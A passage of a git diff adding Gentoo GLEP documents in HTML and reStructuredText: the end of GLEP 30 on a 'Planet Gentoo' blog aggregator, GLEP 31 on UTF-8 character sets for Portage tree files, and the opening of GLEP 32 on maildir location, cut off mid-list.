+In the event of a contributing Gentoo developer leaving the project, their log
+would be removed from the aggregation. If their log was hosted by ourselves,
+it would be closed.  For this reason, some developers may choose to host their
+log elsewhere - this is not a problem and is left to the decision of the
+individual developers.</p>
+<p>It is true that the addition of the planet to our website collection would add
+yet another source of Gentoo information to our collection; our users and
+developers are already overwhelmed with IRC, mailing lists, forums, and the
+central website.  In contrast, a lot of information is currently replicated
+over those mediums, but the planet would provide a taste of something new.
+Developers can choose their own topics and are free to write about things that
+perhaps would not fit into our existing communication mediums.  Additionally,
+the planet will attempt to bring some existing content together by linking to
+recent commits, bug lists, and dev.gentoo.org webspace for each contributing
+developer.</p>
+<p>It has been suggested that the activity of the planet may be an issue:
+although a lot of activity would make the planet very successful, it may look
+bad on us as a whole if the planet is inactive.</p>
+<p><a class="reference external" href="mailto:alexander&#64;gentoo.org">Alexander Plank</a> <a class="footnote-reference" href="#id5" id="id7">[3]</a> started a <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/20480">gentoo-dev discussion</a> <a class="footnote-reference" href="#id15" id="id16">[6]</a> back in August regarding
+this exact idea.  Alexander set up a <a class="reference external" href="http://penguincluster.com/cgi-bin/wiki.pl/BlogInterest">Planet Gentoo mini-survey</a> <a class="footnote-reference" href="#id17" id="id18">[7]</a> to see which
+developers have weblogs or would be interested in obtaining one to be
+aggregated on the planet.  At the time of writing, the survey yielded a list
+of 21 interested developers.</p>
+<p>Looking at the other planets available, a contributor count like this would be
+more than enough to keep the planet active and interesting.  Through my
+experiments of finding developers existing weblogs through google and
+aggregating them on my local Planetplanet installation, I have come to the
+conclusion that just a small quantity of active weblogs is enough to keep the
+planet going strongly.</p>
+<p>I also note that the list of 21 interested developers was built up over a
+short space of time, and it was only mentioned once in a rather large thread
+on the gentoo-dev mailing list.  I predict that given more publicity amongst
+the developers, this idea would be even more popular.  I also predict that if
+such a planet were to go live, other developers would be motivated to join in,
+and new developers joining the project would be keen on contributing.</p>
+<p>The success of the planet will be evaluated by examining the number of hits to
+the planet. 3 months after launch, one weeks worth of logs will be recorded,
+and hits will be counted. If the hit count for that week is below 1000, the
+planet will be deemed as not having met its target, and appropriate action can
+be taken if the planet appears to be harming our image.</p>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id27">Backwards Compatibility</a></h1>
+<p>No issues.</p>
+</div>
+<div class="section" id="reference-implementation">
+<h1><a class="toc-backref" href="#id28">Reference Implementation</a></h1>
+<p>See <a class="reference external" href="http://bugs.gentoo.org/63160">Bug 63160</a> <a class="footnote-reference" href="#id19" id="id20">[8]</a> for a template file mimicking the current gentoo.org design
+plus a sample config file.</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id29">References</a></h1>
+<table class="docutils footnote" frame="void" id="id1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2">[1]</a></td><td><a class="reference external" href="http://planet.gentoo.org/">http://planet.gentoo.org/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4">[2]</a></td><td><a class="reference external" href="mailto:stuart&#64;gentoo.org">mailto:stuart&#64;gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[3]</td><td><em>(<a class="fn-backref" href="#id6">1</a>, <a class="fn-backref" href="#id7">2</a>)</em> <a class="reference external" href="mailto:alexander&#64;gentoo.org">mailto:alexander&#64;gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[4]</td><td><em>(<a class="fn-backref" href="#id9">1</a>, <a class="fn-backref" href="#id10">2</a>, <a class="fn-backref" href="#id11">3</a>)</em> <a class="reference external" href="http://www.planetplanet.org">http://www.planetplanet.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id12" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[5]</td><td><em>(<a class="fn-backref" href="#id13">1</a>, <a class="fn-backref" href="#id14">2</a>)</em> <a class="reference external" href="http://packages.gentoo.org/package/wordpress">http://packages.gentoo.org/package/wordpress</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id15" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id16">[6]</a></td><td><a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/20480">http://thread.gmane.org/gmane.linux.gentoo.devel/20480</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id17" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id18">[7]</a></td><td><a class="reference external" href="http://penguincluster.com/cgi-bin/wiki.pl/BlogInterest">http://penguincluster.com/cgi-bin/wiki.pl/BlogInterest</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id19" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id20">[8]</a></td><td><a class="reference external" href="http://bugs.gentoo.org/63160">http://bugs.gentoo.org/63160</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id30">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0030.txt">View document source</a>.
+Generated on: 2010-04-07 22:07 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0030.txt b/xml/htdocs/proj/en/glep/glep-0030.txt
new file mode 100644
index 00000000..54ef28e0
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0030.txt
@@ -0,0 +1,181 @@
+GLEP: 30
+Title: "Planet Gentoo" web log aggregator
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2007/11/28 20:22:14 $
+Author: Daniel Drake <dsd@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 24-Oct-2004
+Post-History: 25-Oct-2004, 10-Nov-2004, 11-Mar-2005
+
+Status
+======
+
+The new `Planet Gentoo`_ came online 10-Mar-2005, so this GLEP is now Final.
+
+.. _Planet Gentoo: http://planet.gentoo.org/
+
+
+Credits
+=======
+- `Stuart Herbert`_ for the original idea
+- `Alexander Plank`_ who also has put effort into promoting this
+
+Abstract
+========
+
+This GLEP proposes the creation of "Planet Gentoo", a new section of the
+gentoo.org website.  It would aggregate weblogs (commonly known as "blogs")
+written by contributing Gentoo developers onto this single page, available to
+the public.  I will refer to this new website section as "the planet" in this
+GLEP.
+We would also provide an installation of a weblog engine for developers that
+do not currently have their own weblog.
+
+Motivation
+==========
+
+I'm trying to reduce the gap between the Gentoo user and development
+communities.
+
+Many large open source projects and software distributors have their own
+Planet where contributors weblogs are aggregated.  See the `Planetplanet`_
+homepage for a complete listing.  These other aggregations appear to be
+successful and bring their relevant communities together.
+
+These aggregations are often quite interesting to read, since they contain a
+variation of topics, not all of which are related to the project.
+
+The planet would add another method of user interaction with developers, as
+most weblogs allow readers to post comments.
+
+Readers would get more interested in the Gentoo project, and would get a feel
+for the personalities of the contributing developers.  Although I am not
+suggesting this should be used as an announcement tool, developers could also
+use this to get general messages over to the user community.
+
+This would also benefit our development, as developers would also be able to
+keep track of what other developers are working on and promote more
+collaboration amongst each other.
+
+Specification
+=============
+
+The proposed design is an installation of `Planetplanet`_ at a part of the
+gentoo.org infrastructure, e.g. http://planet.gentoo.org
+
+We would also provide an installation of `Wordpress`_ or a similar weblogging
+engine, for developers that do not have their own weblog or would wish to
+move their log to an official Gentoo hosted website.  This could be provided
+at (e.g.) http://weblogs.gentoo.org
+
+Rationale
+=========
+
+`Planetplanet`_ is simply a weblog aggregator written in python.  It is
+executed as a cronjob and fetches content from all the weblogs it has been
+asked to, postprocesses and aggregates them into a single html file (based on
+a template), and outputs that html content to an area provided by a webserver.
+This should allow for ease of integration with any existing infrastructure.
+
+Planetplanet is configurable through a single configuration file, which lists
+the log feed URL, real name and user name for each contributing developer.
+
+`Wordpress`_ is a weblogging engine written in PHP.  It relies on MySQL for
+the data store.  After the initial setup, all configuration is done through a
+web-based interface.
+
+A group of people would be assigned the responsibility/CVS access to maintain
+these two services.  I would suggest the existing infrastructure team to have
+this responsibility.  If required, I will assist with the initial
+configuration.
+
+The planetplanet installation would fetch and aggregate developers weblogs
+only, we would not accept non-developer logs.
+
+Developers do not have to host their weblogs with us, practically all blogging
+packages provide an XML feed (typically RSS) which planetplanet will happily
+fetch and process.  Other feed formats are also accepted, examine the
+planetplanet documentation for more info.
+In the event of a contributing Gentoo developer leaving the project, their log
+would be removed from the aggregation. If their log was hosted by ourselves,
+it would be closed.  For this reason, some developers may choose to host their
+log elsewhere - this is not a problem and is left to the decision of the
+individual developers.
+
+It is true that the addition of the planet to our website collection would add
+yet another source of Gentoo information to our collection; our users and
+developers are already overwhelmed with IRC, mailing lists, forums, and the
+central website.  In contrast, a lot of information is currently replicated
+over those mediums, but the planet would provide a taste of something new.
+Developers can choose their own topics and are free to write about things that
+perhaps would not fit into our existing communication mediums.  Additionally,
+the planet will attempt to bring some existing content together by linking to
+recent commits, bug lists, and dev.gentoo.org webspace for each contributing
+developer.
+
+It has been suggested that the activity of the planet may be an issue:
+although a lot of activity would make the planet very successful, it may look
+bad on us as a whole if the planet is inactive.
+
+`Alexander Plank`_ started a `gentoo-dev discussion`_ back in August regarding
+this exact idea.  Alexander set up a `Planet Gentoo mini-survey`_ to see which
+developers have weblogs or would be interested in obtaining one to be
+aggregated on the planet.  At the time of writing, the survey yielded a list
+of 21 interested developers.
+
+Looking at the other planets available, a contributor count like this would be
+more than enough to keep the planet active and interesting.  Through my
+experiments of finding developers existing weblogs through google and
+aggregating them on my local Planetplanet installation, I have come to the
+conclusion that just a small quantity of active weblogs is enough to keep the
+planet going strongly.
+
+I also note that the list of 21 interested developers was built up over a
+short space of time, and it was only mentioned once in a rather large thread
+on the gentoo-dev mailing list.  I predict that given more publicity amongst
+the developers, this idea would be even more popular.  I also predict that if
+such a planet were to go live, other developers would be motivated to join in,
+and new developers joining the project would be keen on contributing.
+
+The success of the planet will be evaluated by examining the number of hits to
+the planet. 3 months after launch, one weeks worth of logs will be recorded,
+and hits will be counted. If the hit count for that week is below 1000, the
+planet will be deemed as not having met its target, and appropriate action can
+be taken if the planet appears to be harming our image.
+
+Backwards Compatibility
+=======================
+
+No issues.
+
+Reference Implementation
+========================
+
+See `Bug 63160`_ for a template file mimicking the current gentoo.org design
+plus a sample config file.
+
+References
+==========
+
+.. _Stuart Herbert: stuart@gentoo.org
+
+.. _Alexander Plank: alexander@gentoo.org
+
+.. _Planetplanet: http://www.planetplanet.org
+
+.. _Wordpress: http://packages.gentoo.org/package/wordpress
+
+.. _gentoo-dev discussion: http://thread.gmane.org/gmane.linux.gentoo.devel/20480
+
+.. _Planet Gentoo mini-survey: http://penguincluster.com/cgi-bin/wiki.pl/BlogInterest
+
+.. _Bug 63160: http://bugs.gentoo.org/63160
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0031.html b/xml/htdocs/proj/en/glep/glep-0031.html
new file mode 100644
index 00000000..8dafb4aa
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0031.html
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 31 -- Character Sets for Portage Tree Items</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0031.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">31</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Character Sets for Portage Tree Items</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0031.txt?cvsroot=gentoo">2007/04/21 03:03:05</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">27-Oct-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">28-Oct-2004, 1-Nov-2004, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id9" name="id9">Abstract</a></li>
+<li><a class="reference" href="#status" id="id10" name="id10">Status</a></li>
+<li><a class="reference" href="#motivation" id="id11" name="id11">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id12" name="id12">Specification</a><ul>
+<li><a class="reference" href="#changelog-and-metadata-character-sets" id="id13" name="id13">ChangeLog and Metadata Character Sets</a></li>
+<li><a class="reference" href="#ebuild-and-eclass-character-sets" id="id14" name="id14">Ebuild and Eclass Character Sets</a></li>
+<li><a class="reference" href="#files-entries-character-sets" id="id15" name="id15">files/ Entries Character Sets</a></li>
+<li><a class="reference" href="#suitable-characters-for-file-and-directory-names" id="id16" name="id16">Suitable Characters for File and Directory Names</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id17" name="id17">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id18" name="id18">References</a></li>
+<li><a class="reference" href="#copyright" id="id19" name="id19">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="abstract" name="abstract">Abstract</a></h1>
+<p>A set of guidelines regarding what characters are permissible in the
+portage tree and how they should be encoded is required.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="status" name="status">Status</a></h1>
+<p>Approved on 8-Nov-2004 assuming that implementation will include
+documentation for correctly encoding files within nano.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="motivation" name="motivation">Motivation</a></h1>
+<p>At present we have several developers and many more users whose names
+require characters (for example, accents) which are not part of the
+standard 'safe' 0..127 ASCII range. There is no current standard on how
+these should be represented, leading to inconsistency across the tree.</p>
+<p>Although the issues involved have been discussed informally many times, no
+official decision has been made.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="changelog-and-metadata-character-sets" name="changelog-and-metadata-character-sets">ChangeLog and Metadata Character Sets</a></h2>
+<p>It is proposed that UTF-8 (<a class="footnote-reference" href="#id5" id="id1" name="id1">[1]</a>) is used for encoding ChangeLog and
+metadata.xml files inside the portage tree.</p>
+<p>UTF-8 allows the full range of Unicode (<a class="footnote-reference" href="#id6" id="id2" name="id2">[2]</a>) characters to be expressed,
+which is necessary given the diversity of the Gentoo developer- and
+user-base.  It is character-compatible with ASCII for the 0..127
+characters and does not significantly increase the storage requirements
+for files which consist mainly of American English characters. It is
+widely supported, widely used and an official standard.</p>
+<p>The ISO-8859-* character sets (<a class="footnote-reference" href="#id7" id="id3" name="id3">[3]</a>) would <em>not</em> be appropriate since they
+cannot express the full range of required characters.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id14" id="ebuild-and-eclass-character-sets" name="ebuild-and-eclass-character-sets">Ebuild and Eclass Character Sets</a></h2>
+<p>For the same reasons as previously, it is proposed that UTF-8 is used as
+the official encoding for ebuild and eclass files.</p>
+<p>However, developers should be warned that any code which is parsed by bash
+(in other words, non-comments), and any output which is echoed to the
+screen (for example, einfo messages) or given to portage (for example any
+of the standard global variables) must not use anything outside the
+regular ASCII 0..127 range for compatibility purposes.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="files-entries-character-sets" name="files-entries-character-sets">files/ Entries Character Sets</a></h2>
+<p>Patches must clearly be in the same character set as the file they are
+patching. For other files/ entries (for example, GNOME desktop files),
+consistency with the upstream-recommended character set is most sensible.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id16" id="suitable-characters-for-file-and-directory-names" name="suitable-characters-for-file-and-directory-names">Suitable Characters for File and Directory Names</a></h2>
+<p>Characters outside the ASCII 0..127 range cannot safely be used for file
+or directory names. (Of course, not all characters inside the ASCII 0..127
+range can be used safely either.)</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The existing tree uses a mixture of encodings. It would be straightforward
+to fix existing ChangeLogs and metadata files to use UTF-8.</p>
+<p>The <tt class="docutils literal"><span class="pre">echangelog</span></tt> tool is character-set agnostic. In order to properly
+enter UTF-8, developers would have to switch to a UTF-8 shell session.
+This only applies if the developer is entering new text which uses 'fancy'
+characters -- existing characters are not mangled.</p>
+<p>Certain text editors are incapable of handling UTF-8 cleanly. However,
+since the <tt class="docutils literal"><span class="pre">echangelog</span></tt> tool is generally the correct way to generate
+ChangeLog entries, this should not be a major problem. Generating
+metadata.xml files correctly in these editors could become problematic.
+The <tt class="docutils literal"><span class="pre">vim</span></tt> and <tt class="docutils literal"><span class="pre">emacs</span></tt> editors, which appear to be most widely used,
+are both capable of handling UTF-8 cleanly -- for vim, this could be
+configured automatically via the <tt class="docutils literal"><span class="pre">gentoo-syntax</span></tt> (<a class="footnote-reference" href="#id8" id="id4" name="id4">[4]</a>) package.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id5">[1]</a></td><td><a class="reference" href="http://www.faqs.org/rfcs/rfc3629.html">RFC 3629</a>: UTF-8, a transformation format of ISO 10646
+<a class="reference" href="http://www.ietf.org/rfc/rfc3629.txt">http://www.ietf.org/rfc/rfc3629.txt</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id6">[2]</a></td><td>ISO/IEC 10646 (Universal Multiple-Octet Coded Character Set)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id7" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id7">[3]</a></td><td>ISO/IEC 8859 (8-bit single-byte coded graphic character sets)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id8">[4]</a></td><td>The app-vim/gentoo-syntax package,
+<a class="reference" href="https://developer.berlios.de/projects/gentoo-syntax/">https://developer.berlios.de/projects/gentoo-syntax/</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id19" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=74 fileencoding=utf-8 : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0031.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0031.txt b/xml/htdocs/proj/en/glep/glep-0031.txt
new file mode 100644
index 00000000..630df6cf
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0031.txt
@@ -0,0 +1,115 @@
+GLEP: 31
+Title: Character Sets for Portage Tree Items
+Version: $Revision: 1.6 $
+Author: Ciaran McCreesh <ciaranm@gentoo.org>
+Last-Modified: $Date: 2007/04/21 03:03:05 $
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 27-Oct-2004
+Post-History: 28-Oct-2004, 1-Nov-2004, 11-Nov-2004
+
+Abstract
+========
+
+A set of guidelines regarding what characters are permissible in the
+portage tree and how they should be encoded is required.
+
+Status
+======
+
+Approved on 8-Nov-2004 assuming that implementation will include 
+documentation for correctly encoding files within nano.
+
+Motivation
+==========
+
+At present we have several developers and many more users whose names
+require characters (for example, accents) which are not part of the
+standard 'safe' 0..127 ASCII range. There is no current standard on how
+these should be represented, leading to inconsistency across the tree.
+
+Although the issues involved have been discussed informally many times, no
+official decision has been made.
+
+Specification
+=============
+
+ChangeLog and Metadata Character Sets
+-------------------------------------
+
+It is proposed that UTF-8 ([1]_) is used for encoding ChangeLog and
+metadata.xml files inside the portage tree.
+
+UTF-8 allows the full range of Unicode ([2]_) characters to be expressed,
+which is necessary given the diversity of the Gentoo developer- and
+user-base.  It is character-compatible with ASCII for the 0..127
+characters and does not significantly increase the storage requirements
+for files which consist mainly of American English characters. It is
+widely supported, widely used and an official standard.
+
+The ISO-8859-* character sets ([3]_) would *not* be appropriate since they
+cannot express the full range of required characters.
+
+Ebuild and Eclass Character Sets
+--------------------------------
+
+For the same reasons as previously, it is proposed that UTF-8 is used as
+the official encoding for ebuild and eclass files.
+
+However, developers should be warned that any code which is parsed by bash
+(in other words, non-comments), and any output which is echoed to the
+screen (for example, einfo messages) or given to portage (for example any
+of the standard global variables) must not use anything outside the
+regular ASCII 0..127 range for compatibility purposes.
+
+files/ Entries Character Sets
+-----------------------------
+
+Patches must clearly be in the same character set as the file they are
+patching. For other files/ entries (for example, GNOME desktop files),
+consistency with the upstream-recommended character set is most sensible.
+
+Suitable Characters for File and Directory Names
+------------------------------------------------
+
+Characters outside the ASCII 0..127 range cannot safely be used for file
+or directory names. (Of course, not all characters inside the ASCII 0..127
+range can be used safely either.)
+
+Backwards Compatibility
+=======================
+
+The existing tree uses a mixture of encodings. It would be straightforward
+to fix existing ChangeLogs and metadata files to use UTF-8.
+
+The ``echangelog`` tool is character-set agnostic. In order to properly
+enter UTF-8, developers would have to switch to a UTF-8 shell session.
+This only applies if the developer is entering new text which uses 'fancy'
+characters -- existing characters are not mangled.
+
+Certain text editors are incapable of handling UTF-8 cleanly. However,
+since the ``echangelog`` tool is generally the correct way to generate
+ChangeLog entries, this should not be a major problem. Generating
+metadata.xml files correctly in these editors could become problematic.
+The ``vim`` and ``emacs`` editors, which appear to be most widely used,
+are both capable of handling UTF-8 cleanly -- for vim, this could be
+configured automatically via the ``gentoo-syntax`` ([4]_) package.
+
+References
+==========
+
+.. [1] RFC 3629: UTF-8, a transformation format of ISO 10646
+       http://www.ietf.org/rfc/rfc3629.txt
+.. [2] ISO/IEC 10646 (Universal Multiple-Octet Coded Character Set)
+.. [3] ISO/IEC 8859 (8-bit single-byte coded graphic character sets)
+.. [4] The app-vim/gentoo-syntax package,
+       https://developer.berlios.de/projects/gentoo-syntax/
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=74 fileencoding=utf-8 :
+
diff --git a/xml/htdocs/proj/en/glep/glep-0032.html b/xml/htdocs/proj/en/glep/glep-0032.html
new file mode 100644
index 00000000..5d1f4e3e
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0032.html
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 32 -- Maildir Location</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0032.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">32</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Maildir Location</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0032.txt?cvsroot=gentoo">2007/04/21 03:13:16</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Georgi Georgiev &lt;chutz&#32;&#97;t&#32;gg3.net&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">03-Nov-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">03-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id5" name="id5">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id7" name="id7">Implementation</a><ul>
+<li><a class="reference" href="#maildir-variable" id="id8" name="id8">MAILDIR variable</a></li>
+<li><a class="reference" href="#maildir-eclass" id="id9" name="id9">maildir.eclass</a></li>
+<li><a class="reference" href="#patching-ebuilds" id="id10" name="id10">Patching ebuilds</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id11" name="id11">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id12" name="id12">References</a></li>
+<li><a class="reference" href="#copyright" id="id13" name="id13">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>Ebuilds that install mail delivery agents often need to know the default
+location of users' mailbox. When the mailbox is of a maildir type, there is no
+set standard what the name of the directory should be. The most popular
+extensions are &quot;Maildir&quot;, &quot;.Maildir&quot; and Gentoo has adopted its own &quot;.maildir&quot;
+name.</p>
+<p>This GLEP proposes a user-definable maildir location.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="motivation" name="motivation">Motivation</a></h1>
+<p>To provide the means to change the default location of a maildir, that is
+currently hardcoded in ebuilds.</p>
+<p>The &quot;.maildir&quot; name is not adequate for most situations.</p>
+<ul class="simple">
